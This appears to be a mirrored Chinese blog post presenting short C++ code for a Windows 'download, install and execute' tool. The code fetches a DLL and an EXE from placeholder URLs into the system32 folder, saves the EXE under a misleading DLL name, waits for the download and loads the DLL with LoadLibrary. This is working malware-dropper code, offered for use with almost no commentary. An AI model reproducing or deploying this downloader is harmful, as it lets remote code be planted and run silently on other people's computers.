zoukankan      html  css  js  c++  java
  • 最短代码实现windows8下的下载器下载安装执行一体化


    请见代码



    #include "stdafx.h"
    #include "windows.h"
    #include "UrlMon.h"
    #pragma comment(lib, "urlmon.lib")
    
    
    bool FileIsExist(LPCTSTR szFileFullPathName)
    {
    	WIN32_FIND_DATA Win32_Find_Data;   
        HANDLE hFindFile;   
      
        hFindFile = FindFirstFile(szFileFullPathName,&Win32_Find_Data);   
      
        if(INVALID_HANDLE_VALUE == hFindFile)   
        {   
            //AfxMessageBox("Not Exist");   
            return false;   
        }   
        else  
        {   
            //AfxMessageBox("Have Exist");   
            FindClose(hFindFile);   
            return true;   
        }   
    }
    
    int main(int argc, char* argv[])
    {
    	char DownURL[255] = "http://www.domain.com/test.dll";
    	char DownLoadDir[255];
    
    	char ExeURL[255] = "http://www.domain.com/test.exe";
    	char ExeDir[255];
    
    	GetWindowsDirectory(DownLoadDir,sizeof(DownLoadDir));
    	GetWindowsDirectory(ExeDir,sizeof(ExeDir));
    	strcat(DownLoadDir,"\\system32\\DLLtest.dll");
    	strcat(ExeDir,"\\system32\\MyLogin.dll");
    
    	URLDownloadToFile(0,ExeURL,ExeDir,0,NULL);
    
    	Sleep(3000);
    	URLDownloadToFile(0,DownURL,DownLoadDir,0,NULL);
    
    	while(true)
    	{
    		if(FileIsExist(DownLoadDir) == true)
    			break;
    		else
    			Sleep(1000);
    	}
    	Sleep(3000);
    	LoadLibrary(DownLoadDir);
    	Sleep(10000);
    	return 0;
    }


  • 相关阅读:
    二维凸包
    luogu_P1287 盒子与球
    luogu_P1993 小K的农场
    luogu_P1712 [NOI2016]区间
    luogu_P2444 [POI2000]病毒
    luogu_P2154 [SDOI2009]虔诚的墓主人
    20191005-T3-U91353 放射性
    编译原理 笔记2 词法分析
    DFA到等价正则表达式的转化
    软件分析笔记10 Soundiness
  • 原文地址:https://www.cnblogs.com/new0801/p/6177732.html
Copyright © 2011-2022 走看看